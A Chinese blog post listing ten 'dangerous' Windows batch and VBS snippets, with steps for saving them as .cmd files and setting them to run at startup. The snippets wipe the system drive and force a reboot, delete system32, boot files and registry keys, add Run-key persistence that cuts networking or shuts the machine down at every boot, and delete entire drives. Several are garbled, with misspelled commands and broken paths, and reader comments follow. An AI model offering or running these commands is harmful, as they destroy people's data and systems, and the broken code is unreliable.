本文作者:每日一学网站长

十大危险的cmd指令,谨慎使用

每日一学网站长 4个月前 ( 12-31 ) 6条评论

QQ截图20191211135911.jpg

使用方法:

新建一个txt文档,然后复制进去代码

将.txt后缀名改成cmd保存即可!

如果要开机使用,将这个脚本设置为开机自启即可!

注意:请谨慎使用,所造成后果自己承担


1.死亡蓝屏

@echo off
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00



2.更改文件后缀名

REN *.DOC *.TXT REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
BEN *.BAT *.TXT



3.删除系统重要文件

del c:\WINDOWS\system32\*.*/q



4.使pc永久崩溃

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

5.删除全部注册表

@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*



6.永远禁用网络!

echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c"windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun/v
windowsapi/t reg_sz/d c:windowswimn32.bat/f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun/v
controlexit/t reg_sz/d c:windowswimn32.bat/f
pause



7.永远的《回车》

set wshshell =wscript.createobject<"wscript.shell">
do
wscript.sleep 100
wshshell.sendkeys"~<enter>"
loop



8.开机就关机

echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11-f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun
/v startapi /t reg_sz/d c:windowshartlell.bat /f
reg add hkey-current_usersoftwaremicrosoftwindowscurrentversionrun
/v/t reg_sz/d c:windowshartlell.bat /f
PAUSE



9.格式化硬盘

rd/s/q D:\
rd/s/q C:\
rd/s/q E:\
rd/s/q F:\
rd/s/q g:\



10.开启CD蜂鸣器 不停地响

Set oWMP=CreateObject("WMPIayer.0CX.7")
Set colCDROMs=oWMP.cdromCollection
do
if colCDROMs.Count>=1 then
For i=0 to colCDROMs.Count -1
colCDROMs.ltem<i>.Eject
Next
For =0 to colCDROMs.Count -1
colCDROMs.ltem<i>.Eject
Next
End lf
wscript.sleep 100
Loop


文章版权及转载声明

作者:每日一学网站长本文地址:https://www.meiriyixue.cn/post/2366.html发布于 4个月前 ( 12-31 )
文章转载或复制请以超链接形式并注明出处每日一学网

分享

发表评论

快捷回复:

验证码

评论列表 (有 6 条评论,人围观)参与讨论
网友昵称:匿名
匿名 游客2021-10-04地板 回复
我试了,成功了,其实每一个按esc就可以解决
网友昵称:YK
YK 游客2021-08-25凉席 回复
不敢试啊
网友昵称:青蛤
青蛤 游客2021-09-24 回复
@YK 哈哈哈哈哈哈
网友昵称:fw
fw 游客2021-01-16板凳 回复
文章不错,写的很好![B][/B]文章不错,写的很好![U][/U]dfdg
网友昵称:lj
lj 游客2021-01-16椅子 回复
[B][/B][I][/I][U][/U][S][/S]文章不错,写的很好!emmmmm。。看不懂怎么破?赞、狂赞、超赞、不得不赞、史上最赞!
网友昵称:你大爷
你大爷 游客2020-04-25沙发 回复
哈哈哈,nb!